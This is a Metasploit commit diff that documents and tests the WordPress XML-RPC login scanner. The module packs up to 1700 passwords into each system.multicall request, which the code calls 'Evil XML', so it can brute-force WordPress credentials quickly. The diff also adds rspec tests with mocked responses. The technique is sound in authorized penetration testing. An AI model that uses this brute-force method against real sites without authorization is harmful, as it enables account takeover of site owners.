Skip to content

Commit 0f4304a

Browse files
committed
Merge pull request #4 from wchen-r7/pr6226
Do API documentation, rspec, and other small changes for wordpress_xmlrpc_login
2 parents a8feb8c + 216986f commit 0f4304a

File tree

3 files changed

+144
-10
lines changed

3 files changed

+144
-10
lines changed

lib/metasploit/framework/login_scanner/wordpress_rpc.rb

Lines changed: 28 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,24 +8,42 @@ module LoginScanner
88
# Wordpress XML RPC login scanner
99
class WordpressRPC < HTTP
1010

11+
# @!attribute passwords
12+
# @return [Array]
1113
attr_accessor :passwords
1214

15+
# @!attribute chunk_size
16+
# @return [Fixnum]
1317
attr_accessor :chunk_size
1418

19+
# @!attribute block_wait
20+
# @return [Fixnum]
1521
attr_accessor :block_wait
1622

23+
# @!attribute base_uri
24+
# @return [String]
1725
attr_accessor :base_uri
1826

19-
attr_reader :wordpress_url_xmlrpc
27+
# @!attribute wordpress_url_xmlrpc
28+
# @return [String]
29+
attr_accessor :wordpress_url_xmlrpc
2030

2131
def set_default
2232
self.wordpress_url_xmlrpc = 'xmlrpc.php'
33+
self.block_wait = 6
34+
self.base_uri = '/'
35+
self.chunk_size = 1800
2336
end
2437

38+
# Returns the XML data that is used for the login.
39+
#
40+
# @param user [String] username
41+
# @return [Array]
2542
def generate_xml(user)
2643
xml_payloads = []
2744

28-
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum.
45+
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
46+
# Wordpress limitation which is 1700 maximum.
2947
passwords.each_slice(chunk_size) do |pass_group|
3048
document = Nokogiri::XML::Builder.new do |xml|
3149
xml.methodCall {
@@ -36,7 +54,6 @@ def generate_xml(user)
3654
xml.array {
3755
xml.data {
3856
pass_group.each do |pass|
39-
#$stderr.puts "Trying: #{user}:#{pass}"
4057
xml.value {
4158
xml.struct {
4259
xml.member {
@@ -62,6 +79,10 @@ def generate_xml(user)
6279
xml_payloads
6380
end
6481

82+
# Sends an HTTP request to Wordpress.
83+
#
84+
# @param xml [String] XML data.
85+
# @return [void]
6586
def send_wp_request(xml)
6687
opts =
6788
{
@@ -84,8 +105,11 @@ def send_wp_request(xml)
84105
end
85106

86107

108+
# Attempts to login.
109+
#
110+
# @param credential [Metasploit::Framework::Credential]
111+
# @return [Metasploit::Framework::LoginScanner::Result]
87112
def attempt_login(credential)
88-
#$stderr.puts "Testing: #{credential.public}"
89113
generate_xml(credential.public).each do |xml|
90114
send_wp_request(xml)
91115
req_xml = Nokogiri::Slop(xml)
@@ -95,7 +119,6 @@ def attempt_login(credential)
95119
if result.nil?
96120
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
97121
credential.private = pass
98-
#$stderr.puts "Good: #{credential.inspect}"
99122
result_opts = {
100123
credential: credential,
101124
host: host,
@@ -108,7 +131,6 @@ def attempt_login(credential)
108131
end
109132
end
110133

111-
112134
result_opts = {
113135
credential: credential,
114136
host: host,

modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb

Lines changed: 18 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
#load "./lib/metasploit/framework/login_scanner/wordpress_rpc.rb"
7-
86
require 'msf/core'
97
require 'metasploit/framework/credential_collection'
108
require 'metasploit/framework/login_scanner/wordpress_rpc'
@@ -23,6 +21,9 @@ def initialize(info = {})
2321
This module attempts to authenticate against a Wordpress-site
2422
(via XMLRPC) using username and password combinations indicated
2523
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
24+
25+
Please note this module will not work against newer versions of Wordpress,
26+
such as 4.4.1, due to the mitigation in place.
2627
},
2728
'Author' =>
2829
[
@@ -52,13 +53,27 @@ def initialize(info = {})
5253
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ])
5354
], self.class)
5455

55-
deregister_options('BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS')
56+
# Not supporting these options, because we are not actually letting the API to process the
57+
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
58+
deregister_options(
59+
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
60+
)
5661
end
5762

5863
def passwords
5964
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
6065
end
6166

67+
def check_options
68+
if datastore['CHUNKSIZE'] > 1700
69+
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
70+
end
71+
end
72+
73+
def setup
74+
check_options
75+
end
76+
6277
def check_setup
6378
vprint_status("Checking #{peer} status!")
6479
version = wordpress_version

spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb

Lines changed: 98 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,104 @@
55

66
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
77
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
8-
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
98

9+
subject do
10+
described_class.new
11+
end
12+
13+
let(:username) do
14+
'username'
15+
end
16+
17+
let(:good_password) do
18+
'goodpassword'
19+
end
20+
21+
let(:passwords) do
22+
[good_password]
23+
end
24+
25+
let(:good_response) do
26+
%Q|<?xml version="1.0" encoding="UTF-8"?>
27+
<methodResponse>
28+
<params>
29+
<param>
30+
<value>
31+
<array><data>
32+
<value><array><data>
33+
<value><array><data>
34+
<value><struct>
35+
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
36+
<member><name>url</name><value><string>http://192.168.1.202/wordpress/</string></value></member>
37+
<member><name>blogid</name><value><string>1</string></value></member>
38+
<member><name>blogName</name><value><string>Test</string></value></member>
39+
<member><name>xmlrpc</name><value><string>http://192.168.1.202/wordpress/xmlrpc.php</string></value></member>
40+
</struct></value>
41+
</data></array></value>
42+
</data></array></value>
43+
</data></array>
44+
</value>
45+
</param>
46+
</params>
47+
</methodResponse>
48+
|
49+
end
50+
51+
let(:response) do
52+
r = Rex::Proto::Http::Response.new(200, 'OK')
53+
r.body = good_response
54+
r
55+
end
56+
57+
before(:each) do
58+
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
59+
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
60+
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
61+
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
62+
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
63+
end
64+
65+
before do
66+
subject.instance_variable_set(:@passwords, passwords)
67+
subject.set_default
68+
end
69+
70+
describe '#generate_xml' do
71+
context 'when a username is given' do
72+
it 'returns an array' do
73+
expect(subject.generate_xml(username)).to be_kind_of(Array)
74+
end
75+
76+
it 'contains our username' do
77+
xml = subject.generate_xml(username).first
78+
expect(xml).to include('<?xml version="1.0"?>')
79+
end
80+
end
81+
end
82+
83+
describe '#attempt_login' do
84+
context 'when the credential is valid' do
85+
it 'returns a Result object indicating a successful login' do
86+
cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password)
87+
result = subject.attempt_login(cred_obj)
88+
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
89+
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
90+
end
91+
end
92+
end
93+
94+
describe '#send_wp_request' do
95+
context 'when a request is sent' do
96+
it 'sets @res with an HTTP response object' do
97+
subject.send_wp_request('xml')
98+
expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response)
99+
end
100+
101+
it 'sets @res with an XML document' do
102+
subject.send_wp_request('xml')
103+
expect(subject.instance_variable_get(:@res).body).to include('<?xml version="1.0" encoding="UTF-8"?>')
104+
end
105+
end
106+
end
10107

11108
end

0 commit comments

Comments
 (0)